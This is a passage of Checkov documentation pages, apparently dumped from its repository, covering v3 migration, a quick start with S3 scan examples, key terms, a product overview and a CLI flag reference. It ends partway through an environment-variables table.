    "content": "---\nlayout: default\npublished: true\ntitle: Migration\nnav_order: 5\n---\n\n# Migration - v2 to v3\n\nWith v3 not only new features were added, but following behaviour changed or was completely removed.\n\n## Remove of \"level up\"\n\nSince Bridgecrew standalone edition will be shutting down at the [end of 2023](https://www.paloaltonetworks.com/services/support/end-of-life-announcements) we removed the \"level up\" flow, \nwhich is triggered by just running `checkov` without any flag.\n\n## Python custom checks\n\nIf you are still using the old syntax of running your custom code\n\n```python\nfrom __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass Example(BaseResourceCheck):\n    ...\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]], entity_type: str) -> CheckResult:\n        ...\n```\n\nthen you can easily use the simplified syntax and still access `entity_type`, if needed\n\n```python\nfrom __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass Example(BaseResourceCheck):\n    ...\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if self.entity_type == 'aws_instance':\n            ...\n        \n        ...\n```\n\n## Repo ID requirement\n\nFor anyone using `checkov` with an API key will now require to set the repo ID via flag.\n\n```shell\ncheckov -d. --bc-api-key xyz --repo-id example/example\n```\n\n## Deprecated flag removal\n\nFollowing flags were deprecated a while ago and are now completely removed\n\n- `--no-guide`\n- `--skip-suppressions`\n- `--skip-policy-download`\n\nThey were combined and replaced by the `--skip-download` flag. \n"
  },
  {
    "path": "docs/1.Welcome/Quick Start.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Quick Start\nnav_order: 3\n---\n\n# Quick Start\n\nThis Quick Start guide shows how to install Checkov, run a scan, and analyze the results.\nFor more advanced configuration, see the [CLI Reference](https://www.checkov.io/2.Basics/CLI%20Command%20Reference.html) and the rest of this documentation.\n\n## Install Checkov from PyPI\n\n```text\npip install checkov\n```\n\n## Select input folder and scan\n\nUse the command below to indicate the folder that contains your Terraform plan files and run a scan.\n\n```text\ncheckov -d /user/tf\n```\n\n## Example\n\n### S3 Bucket configuration (compliant)\n\nConsider the configuration of an S3 bucket as represented in the Terraform sample below.\n\n```yaml\nresource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  versioning {\n    enabled = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl           = \"private\"\n}\n```\n\n### Scan output for compliant S3 Bucket configuration\n\nThe scan output would be:\n\n```xml\nPassed checks: 4, Failed checks: 0, Skipped checks: 0\n\nCheck: \"Ensure all data stored in the S3 bucket is securely encrypted at rest\"\n PASSED for resource: aws_s3_bucket.foo-bucket\n File: /example.tf:1-25\n\n\nCheck: \"Ensure the S3 bucket has access logging enabled\"\n PASSED for resource: aws_s3_bucket.foo-bucket\n File: /example.tf:1-25\n\n\nCheck: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n PASSED for resource: aws_s3_bucket.foo-bucket\n File: /example.tf:1-25\n\n\nCheck: \"S3 Bucket has an ACL defined which allows public access.\"\n PASSED for resource: aws_s3_bucket.foo-bucket\n File: /example.tf:1-25\n```\n\nThe configuration complies with the policies for AWS S3 resources.\n\n### S3 Bucket configuration (non-compliant)\n\nSuppose that now the same bucket is configured to allow public access:\n\n```text\nresource \"aws_s3_bucket\" \"foo-bucket\" {\n#same resource configuration as previous example, but acl set for public access.\n  \n  acl           = \"public-read\"\n}\ndata \"aws_caller_identity\" \"current\" {}\n```\n\n### Scan output for non-compliant S3 Bucket Configuration\n\nThe output report would then contain a failed check:\n\n```xml\nPassed checks: 3, Failed checks: 1, Skipped checks: 0\n\nCheck: \"Ensure all data stored in the S3 bucket is securely encrypted at rest\"\n PASSED for resource: aws_s3_bucket.foo-bucket\n File: /example.tf:1-25\n\n\nCheck: \"Ensure the S3 bucket has access logging enabled\"\n PASSED for resource: aws_s3_bucket.foo-bucket\n File: /example.tf:1-25\n\n\nCheck: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n PASSED for resource: aws_s3_bucket.foo-bucket\n File: /example.tf:1-25\n\n\nCheck: \"S3 Bucket has an ACL defined which allows public access.\"\n FAILED for resource: aws_s3_bucket.foo-bucket\n File: /example.tf:1-25\n\n  1 | resource \"aws_s3_bucket\" \"foo-bucket\" {\n  2 |   region        = var.region\n  3 |   bucket        = local.bucket_name\n  4 |   force_destroy = true\n  5 |\n  6 |   tags = {\n  7 |     Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  8 |   }\n  9 |   versioning {\n  10 |     enabled = true\n  11 |   }\n  12 |   logging {\n  13 |     target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n  14 |     target_prefix = \"log/\"\n  15 |   }\n  16 |   server_side_encryption_configuration {\n  17 |     rule {\n  18 |       apply_server_side_encryption_by_default {\n  19 |         kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n  20 |         sse_algorithm     = \"aws:kms\"\n  21 |       }\n  22 |     }\n  23 |   }\n  24 |   acl           = \"public-read\"\n  25 | }\n```\n\n## Visualizing scan output\n\nIn addition to the various formats for seeing scan results (for example, CLI), you can also visualize Checkov results with a quick integration with a Prisma Cloud account. Read more about [visualizing scan results in Prisma Cloud](https://www.checkov.io/2.Basics/Visualizing%20Checkov%20Output.html).\n\n## Integrations\n\nIn addition to integrating with your code repository, Checkov can also integrate with your automated build pipeline via CI/CD providers. When your build tests run, Checkov will scan your infrastructure as code files for misconfigurations.\nYou can integrate Checkov with:\n\n* [Jenkins](https://www.checkov.io/4.Integrations/Jenkins.html)\n* [Bitbucket Cloud Pipelines](https://www.checkov.io/4.Integrations/Bitbucket%20Cloud%20Pipelines.html)\n* [GitHub Actions](https://www.checkov.io/4.Integrations/GitHub%20Actions.html)\n* [GitLab CI](https://www.checkov.io/4.Integrations/GitLab%20CI.html)\n* [Kubernetes](https://www.checkov.io/4.Integrations/Kubernetes.html)\n* [Pre-Commit](https://www.checkov.io/4.Integrations/pre-commit.html)\n* [Docker](https://www.checkov.io/4.Integrations/Docker.html)\n* [Terraform Plans and Third-Party Modules](https://www.checkov.io/7.Scan%20Examples/Terraform%20Plan%20Scanning.html)\n\n## Add-ons\n\nTo get real-time IaC scanning and in-line fixes directly from your IDE, check out the [Checkov Visual Studio Code extension](https://marketplace.visualstudio.com/items?itemName=Bridgecrew.checkov) and the [Checkov JetBrains Plugin](https://plugins.jetbrains.com/plugin/21907-prisma-cloud)."
  },
  {
    "path": "docs/1.Welcome/Terms and Concepts.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Terms and Concepts\nnav_order: 2\n---\n\n# Terms and Concepts\n\n**Policy:** Security policies define various aspects of your cloud configuration that impact the overall security of the environment. For example, multi-factor authentication should be enabled for the root account. A resource that is not in the state defined in a policy is non-compliant and will appear in scan results.\n\n**Composite Policy:** A composite, or connection-state is one in which Checkov looks for resources, or types of resources that are or are not connected to other resources. For example, it may be essential for certain resource types to be connected to security groups; or it may be important that certain resource types are not connected to other resources with public access. On each scan, Checkov creates a virtual connection graph based on Composite Policies. Learn more about [creating composite policies in YAML format](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html).\n\n**Incident:** Upon each scan, Checkov creates Incidents for each case of non-conformance to a Policy.\n\n**Resource:** A Resource is a Cloud Platform entity, for example, an Amazon EC2 instance, a CloudFormation stack, or an Amazon S3 bucket.\n\n**Suppression:** This is an action that can be taken to indicate that an Incident reported by Checkov is not problematic. When Suppressing an Incident, you can Suppress it for all relevant Resources or only specific Resources.\n\n## Commonly used terms\n\n**Infrastructure as code** frameworks are systems for automating infrastructure deployment, scaling and management using machine-readable configuration files.\n\n**Declarative** configurations are absolute methods to design the execution of well-defined infrastructure building blocks.\n\n**Imperative** configurations are procedural methods to design the steps required to build a required end-result.\n\n**Immutable infrastructure** defines a version-controlled data model that enables reproducing point-in-time changes to individual attributes of a configuration manifest.\n\n**Terraform** is a popular open source declarative infrastructure as code framework used primarily to define resource in public cloud services.\n\n**CloudFormation** is a declarative infrastructure as code framework used to define resources in Amazon Web Services.\n\n**Kubernetes** is a popular open source declarative infrastructure as code framework used primarily to orchestrate containers in a virtual computing environment.\n"
  },
  {
    "path": "docs/1.Welcome/What is Checkov.md",
    "content": "---\nlayout: default\npublished: true\ntitle: What is Checkov?\nnav_order: 1\n---\n\n# What is Checkov?\n\nCheckov is a static code analysis tool for scanning infrastructure as code (IaC) files for misconfigurations that may lead to security or compliance problems. Checkov includes more than 750 predefined policies to check for common misconfiguration issues. Checkov also supports the creation and contribution of [custom policies](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html).\n\n## Supported IaC types\n\nCheckov scans these IaC file types:\n\n* Terraform (for AWS, GCP, Azure and OCI)\n* CloudFormation (including AWS SAM)\n* Azure Resource Manager (ARM)\n* Serverless framework\n* Helm charts\n* Kubernetes\n* Docker\n\n## Custom policies\n\nCustom policies can be created to check cloud resources based on configuration attributes (in [Python](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html) or [YAML](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html) or connection states (in [YAML](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html)). For composite policies, Checkov creates a cloud resource connection graph for deep misconfiguration analysis across resource relationships.\n\n## Compliance with Industry Standards\n\nIn addition, Checkov scans for compliance with common industry standards such as the Center for Internet Security (CIS) and Amazon Web Services (AWS) Foundations Benchmark.\n\n## Integrates seamlessly with Prisma Cloud\n\nCheckov integrates with advanced features in [Prisma Cloud](https://www.prismacloud.io/prisma/cloud/cloud-code-security). Prisma Cloud extends Checkov's capabilities to provide runtime scanning and visibility, native VCS integrations, drift detection, and more.\n\n### Runtime Scanning and Drift Detection\n\nPrisma Cloud can validate Checkov IaC policies against your runtime cloud environments in AWS, Azure, Google Cloud, AliCloud, and Oracle Cloud Infrastructure, allowing you to find and fix issues in existing deployments and detect cloud drifts. Read more in [Prisma Cloud's documentation](https://docs.prismacloud.io/en/enterprise-edition). Prisma Cloud will detect drift and provide automatic pull requests to fix drifted resources in HCL.\n\n### Pull Request Annotations\n\nEnable automated pull/merge request annotations on your repositories without having to build a CI pipeline or run scheduled checks. Prisma Cloud will automatically scan new pull requests and annotate them with comments for any policy violations discovered. Read more in [Prisma Cloud's documentation](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/get-started/connect-code-and-build-providers/code-repositories/code-repositories).\n\n![Pull Request](pull-request.png)\n"
  },
  {
    "path": "docs/2.Basics/CLI Command Reference.md",
    "content": "---\nlayout: default\npublished: true\ntitle: CLI Command Reference\nnav_order: 2\n---\n\n# CLI Command Reference\n\n| Parameter                                                                                                                                                                                                                                                                                                                                                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |\n|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| `-h, --help`                                                                                                                                                                                                                                                                                                                                                               | Show a help message and exit                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |\n| `-v, --version`                                                                                                                                                                                                                                                                                                                                                            | Version                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |\n| `-d, --directory DIRECTORY`                                                                                                                                                                                                                                                                                                                                                | IaC root directory (can not be used together with `--file`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |\n| `--add-check`                                                                                                                                                                                                                                                                                                                                                              | Generate a new check via CLI prompt                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |\n| `-f, --file FILE`                                                                                                                                                                                                                                                                                                                                                          | File to scan (can not be used together with `--directory`). With this option, Checkov will attempt to filter the runners based on the file type. For example, if you specify a \".tf\" file, only the terraform and secrets frameworks will be included. You can further limit this (e.g., skip secrets) by using the `--skip-framework` argument.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |\n| `--skip-path SKIP_PATH`                                                                                                                                                                                                                                                                                                                                                    | Path (file or directory) to skip, using regular expression logic, relative to the current working directory. Word boundaries are not implicit; i.e., specifying \"dir1\" will skip any directory or subdirectory named \"dir1\". Ignored with `-f`. Can be specified multiple times.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |\n| `--external-checks-dir EXTERNAL_CHECKS_DIR`                                                                                                                                                                                                                                                                                                                                | Directory for custom checks to be loaded. Can be repeated                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |\n| `--external-checks-git EXTERNAL_CHECKS_GIT`                                                                                                                                                                                                                                                                                                                                | GitHub URL of external checks to be added. you can specify a subdirectory after a double-slash //. possible to use ?ref=tags/tagName or ?ref=heads/branchName or ?ref=commit_id. Cannot be used together with `--external-checks-dir`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |\n| `-l, --list`                                                                                                                                                                                                                                                                                                                                                               | List checks                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |\n| `-o, --output` {`cli`, `csv`, `cyclonedx`, `cyclonedx_json`, `spdx`, `json`, `junitxml`, `github_failed_only`, `gitlab_sast`, `sarif`}                                                                                                                                                                                                                                     | Report output format. Add multiple outputs by using the flag multiple times (`-o sarif -o cli`)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |\n| `--output-file-path OUTPUT_FILE_PATH`                                                                                                                                                                                                                                                                                                                                      | Name of the output folder to save the chosen output formats. Advanced usage: By using `-o cli -o junitxml --output-file-path console,results.xml` the CLI output will be printed to the console and the JunitXML output to the file results.xml.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |\n| `--output-bc-ids`                                                                                                                                                                                                                                                                                                                                                          | Print Bridgecrew platform IDs (BC...) instead of Checkov IDs (CKV...), if the check exists in the platform                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |\n| `--include-all-checkov-policies`                                                                                                                                                                                                                                                                                                                                           | When running with an API key, Checkov will omit any policies that do not exist in Prisma Cloud platform, except for local custom policies loaded with the `--external-check` flags. Use this key to include policies that only exist in Checkov in the scan. Note that this will make the local CLI results different from the results you see in the platform. Has no effect if you are not using an API key. Use the `--check` option to explicitly include checks by ID even if they are not in the platform, without using this flag.                                                                                                                                                                                                                                                                                                                                                                                                                                                |\n| `--quiet`                                                                                                                                                                                                                                                                                                                                                                  | For the CLI output, display only failed checks. Also disables progress bars.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |\n| `--compact`                                                                                                                                                                                                                                                                                                                                                                | For the CLI output, do not display code blocks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |\n| `--framework` {`bitbucket_pipelines`, `argo_workflows`, `arm`, `bicep`, `cloudformation`, `dockerfile`, `github_configuration`, `github_actions`, `gitlab_configuration`, `gitlab_ci`, `bitbucket_configuration`, `helm`, `json`, `yaml`, `kubernetes`, `kustomize`, `openapi`, `sca_package`, `sca_image`, `secrets`, `serverless`, `terraform`, `terraform_plan`, `all`} | Filter scan to run only on specific infrastructure code frameworks [env var: CKV_FRAMEWORK]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |\n| `--skip-framework` {`bitbucket_pipelines`, `argo_workflows`, `arm`, `bicep`, `cloudformation`, `dockerfile`, `github_configuration`, `github_actions`, `gitlab_configuration`, `gitlab_ci`, `bitbucket_configuration`, `helm`, `json`, `yaml`, `kubernetes`, `kustomize`, `openapi`, `sca_package`, `sca_image`, `secrets`, `serverless`, `terraform`, `terraform_plan`}   | Filter scan to skip specific infrastructure as code frameworks. This will be included automatically for some frameworks if system dependencies are missing. Add multiple frameworks using spaces. For example, \"`--skip-framework terraform sca_package`.\"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |\n| `-c, --check CHECK`                                                                                                                                                                                                                                                                                                                                                        | Checks to run; any other checks will be skipped. Enter one or more items separated by commas. Each item may be either a Checkov check ID (CKV_AWS_123), a BC check ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then all checks equal to or above the lowest severity in the list will be included. This option can be combined with `--skip-check`. If it is, priority is given to checks explicitly listed by ID or wildcard over checks listed by severity. For example, if you use `--check CKV_123` and `--skip-check LOW`, then CKV_123 will run even if it is a LOW severity. In the case of a tie (e.g., `--check MEDIUM` and `--skip-check HIGH` for a medium severity check), then the check will be skipped. If you use a check ID here along with an API key, and the check is not part of the BC / PC platform, then the check will still be run (see `--include-all-checkov-policies` for more info). [env var: CKV_CHECK] |\n| `--skip-check SKIP_CHECK`                                                                                                                                                                                                                                                                                                                                                  | Checks to skip; any other checks will not be run. Enter one or more items separated by commas. Each item may be either a Checkov check ID (CKV_AWS_123), a BCcheck ID (BC_AWS_GENERAL_123), a severity (LOW, MEDIUM, HIGH, CRITICAL), or a secret validation status (Invalid). If you use a severity, then all checks equal to or below the highest severity in the list will be skipped. This option can be combined with `--check`. If it is, priority is given to checks explicitly listed by ID or wildcard over checks listed by severity. For example, if you use `--skip-check CKV_123` and `--check HIGH`, then CKV_123 will be skipped even if it is a HIGH severity. In the case of a tie(e.g., `--check MEDIUM` and `--skip-check HIGH` for a medium severity check), then the check will be skipped. [env var: CKV_SKIP_CHECK]                                                                                                                                               |\n| `--run-all-external-checks`                                                                                                                                                                                                                                                                                                                                                | Run all external checks (loaded via `--external-checks` options) even if the checks are not present in the `--check` list. This allows you to always ensure that new checks present in the external source are used. If an external check is included in `--skip-check`, it will still be skipped.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |\n| `-s, --soft-fail`                                                                                                                                                                                                                                                                                                                                                          | Runs checks but always returns a 0 exit code. Using either `--soft-fail-on` and / or `--hard-fail-on` overrides this option, except for the case when a result does not match either of the soft fail or hard fail criteria, in which case this flag determines the result.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |\n| `--soft-fail-on SOFT_FAIL_ON`                                                                                                                                                                                                                                                                                                                                              | Exits with a 0 exit code if only the specified items fail. Enter one or more items separated by commas. Each item may be either a Checkov check ID(CKV_AWS_123), a BC check ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then any severity equal to or less than the highest severity in the list will result in a soft fail. This option may be used with `--hard-fail-on`, using the same priority logic described in `--check` and `--skip-check` options above, with `--hard-fail-on` taking precedence in a tie. If a given result does not meet the `--soft-fail-on` nor the `--hard-fail-on` criteria, then the default is to hard fail.                                                                                                                                                                                                                                                                                          |\n| `--hard-fail-on HARD_FAIL_ON`                                                                                                                                                                                                                                                                                                                                              | Exits with a non-zero exit code for specified checks. Enter one or more items separated by commas. Each item may be either a Checkov check ID (CKV_AWS_123), a BCcheck ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then any severity equal to or greater than the lowest severity in the list will result in a hard fail. This option can be used with `--soft-fail-on`, using the same priority logic described in `--check` and `--skip-check` options above, with `--hard-fail-on` taking precedence in a tie.                                                                                                                                                                                                                                                                                                                                                                                                                       |\n| `--bc-api-key BC_API_KEY`                                                                                                                                                                                                                                                                                                                                                  | Prisma Cloud Access Key (see `--prisma-api-url`) [env var: BC_API_KEY]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |\n| `--prisma-api-url PRISMA_API_URL`                                                                                                                                                                                                                                                                                                                                          | The Prisma Cloud API URL (see:https://prisma.pan.dev/api/cloud/api-urls). Requires `--bc-api-key` to be a Prisma Cloud Access Key in the following format: `access_key_id::secret_key` [env var: PRISMA_API_URL]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |\n| `--skip-results-upload`                                                                                                                                                                                                                                                                                                                                                    | Do not upload scan results to the platform. Use this to download configs, but only view results in the local output.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |\n| `--image, --docker-image DOCKER_IMAGE`                                                                                                                                                                                                                                                                                                                                     | Scan docker images by name or ID. Only works with `--bc-api-key flag`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |\n| `--dockerfile-path DOCKERFILE_PATH`                                                                                                                                                                                                                                                                                                                                        | Path to the Dockerfile of the scanned docker image                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |\n| `--repo-id REPO_ID`                                                                                                                                                                                                                                                                                                                                                        | Identity string of the repository, with form `repo_owner/repo_name`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |\n| `-b, --branch BRANCH`                                                                                                                                                                                                                                                                                                                                                      | Selected branch of the persisted repository. Only has effect when using the `--bc-api-key` flag                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |\n| `--skip-download`                                                                                                                                                                                                                                                                                                                                                          | Do not download any data from Prisma Cloud. This will omit doc links, severities, etc., as well as custom policies and suppressions if using an API token. Note: it will prevent BC platform IDs from being available in Checkov.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |\n| `--use-enforcement-rules`                                                                                                                                                                                                                                                                                                                                                  | Use the Enforcement rules configured in the platform for hard/soft fail logic, where the matching enforcement rule (or the default rule if no match) determines the behavior: skip checks below soft-fail threshold, include checks equal to or above hard-fail threshold in hard-fail list, and include checks in between in soft-fail list. Overrides can be applied using `--check`, `--skip-check`, `--soft-fail`, `--soft-fail-on`, or `--hard-fail-on`, but the order of applying `--check` and `--skip-check` (as described under `--check`) still applies here. Requires BC or PC platform API key.                                                                                                                                                                                                                                                                                                                                                                              |\n| `--download-external-modules DOWNLOAD_EXTERNAL_MODULES`                                                                                                                                                                                                                                                                                                                    | Download external terraform modules from public git repositories and terraform registry [env var:DOWNLOAD_EXTERNAL_MODULES]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |\n| `--var-file VAR_FILE`                                                                                                                                                                                                                                                                                                                                                      | Variable files to load in addition to the default files (see https://www.terraform.io/docs/language/values/variables.html#variable-definitions-tfvars-files). Currently only supported for source Terraform (.tf file), and Helm chart scans. Requires using `--directory`, not `--file`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |\n| `--external-modules-download-path EXTERNAL_MODULES_DOWNLOAD_PATH`                                                                                                                                                                                                                                                                                                          | Set the path for the download external terraform modules [env var: EXTERNAL_MODULES_DIR]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |\n| `--evaluate-variables EVALUATE_VARIABLES`                                                                                                                                                                                                                                                                                                                                  | Evaluate the values of variables and locals [env var:CKV_EVAL_VARS]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |\n| `-ca, --ca-certificate CA_CERTIFICATE`                                                                                                                                                                                                                                                                                                                                     | Custom CA certificate (bundle) file [env var:BC_CA_BUNDLE]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |\n| `--repo-root-for-plan-enrichment REPO_ROOT_FOR_PLAN_ENRICHMENT`                                                                                                                                                                                                                                                                                                            | Directory containing the HCL code used to generate a given plan file. Use with `-f`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |\n| `--config-file CONFIG_FILE`                                                                                                                                                                                                                                                                                                                                                | Path to the Checkov configuration YAML file                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |\n| `--create-config CREATE_CONFIG`                                                                                                                                                                                                                                                                                                                                            | Takes the current command line args and writes them out to a config file at the given path                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |\n| `--show-config`                                                                                                                                                                                                                                                                                                                                                            | Prints all args and config settings and where they came from (e.g., command line, config file, environment variable or default)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |\n| `--create-baseline`                                                                                                                                                                                                                                                                                                                                                        | Alongside outputting the findings, save all results to .checkov.baseline file so future runs will not re-flag the same noise. Works only with `--directory` flag                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |\n| `--baseline BASELINE`                                                                                                                                                                                                                                                                                                                                                      | Use a .checkov.baseline file to compare current results with a known baseline. Report will include only failed checks that are new with respect to the provided baseline                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |\n| `--output-baseline-as-skipped`                                                                                                                                                                                                                                                                                                                                             | Output checks that are skipped due to baseline file presence                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |\n| `--skip-cve-package SKIP_CVE_PACKAGE`                                                                                                                                                                                                                                                                                                                                      | Filter scan to run on all packages but a specific package identifier (deny list), You can specify this argument multiple times to skip multiple packages                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |\n| `--policy-metadata-filter POLICY_METADATA_FILTER`                                                                                                                                                                                                                                                                                                                          | Comma separated key:value string to filter policies based on Prisma Cloud policy metadata. See https://prisma.pan.dev/api/cloud/cspm/policy#operation/get-policy-filters-and-options for information on allowed filters. Format: policy.label=test,cloud.type=aws. [env var: CKV_POLICY_METADATA_FILTER]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |\n| `--policy-metadata-filter-exception POLICY_METADATA_FILTER_EXCEPTION`                                                                                                                                                                                                                                                                                                                          | Comma separated key:value string to exclude filtered policies based on Prisma Cloud policy metadata. When used with --policy-metadata-filter, the exceptions override any policies selected as a result of the --policy-metadata-filter flag. [env var: CKV_POLICY_METADATA_FILTER_EXCEPTION]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |\n| `--summary-position` {`top`, `bottom`}                                                                                                                                                                                                                                                                                                                                     | Choose whether the summary will be appended on top (before the checks results) or on bottom (after check results), default is on top.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |\n| `--no-fail-on-crash                            `                                                                                                                                                                                                                                                                                                                           | Return exit code 0 instead of 2 which indicates a failure in the integration with the platform                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |\n| `--enable-secret-scan-all-files CKV_SECRETS_SCAN_ENABLE_ALL`                                                                                                                                                                                                                                                                                                               | Enable secret scan to scan all type of file                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |\n| `--scan-secrets-history`                                                                                                                                                                                                                                                                                                                                                   | Enable secret scan history of commits                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |\n| `--block-list-secret-scan CKV_SECRETS_SCAN_BLOCK_LIST`                                                                                                                                                                                                                                                                                                                     | List of files to filter out in the secret scanner                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |\n| `--support`                                                                                                                                                                                                                                                                                                                                                                | Enable debug logs and upload the logs to the server. Requires a Prisma Cloud API key.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |\n| `--custom-tool-name`                                                                                                                                                                                                                                                                                                                                                         | Add a custom tool name to change the tool name field, this is especially useful for outputting results in SARIF format for upload to Github Code Scanning                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |\n\n### Environment variables\n> **Note**: This is a subset of environment variables that we believe will be particularly helpful to users of Checkov. For more options, you can explore Checkov’s codebase—such as [this example location](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/util/env_vars_config.py).\n\n\n| Variable Name | Description | Default |\n|-------------|----------------------------|----------------------------|\n| `LOG_LEVEL` | Set the threshold of log levels for outputs. Using `LOG_LEVEL=debug` is useful for seeing logs for debugging issues around parsing, checks, graph rendering, etc.  | `WARNING` 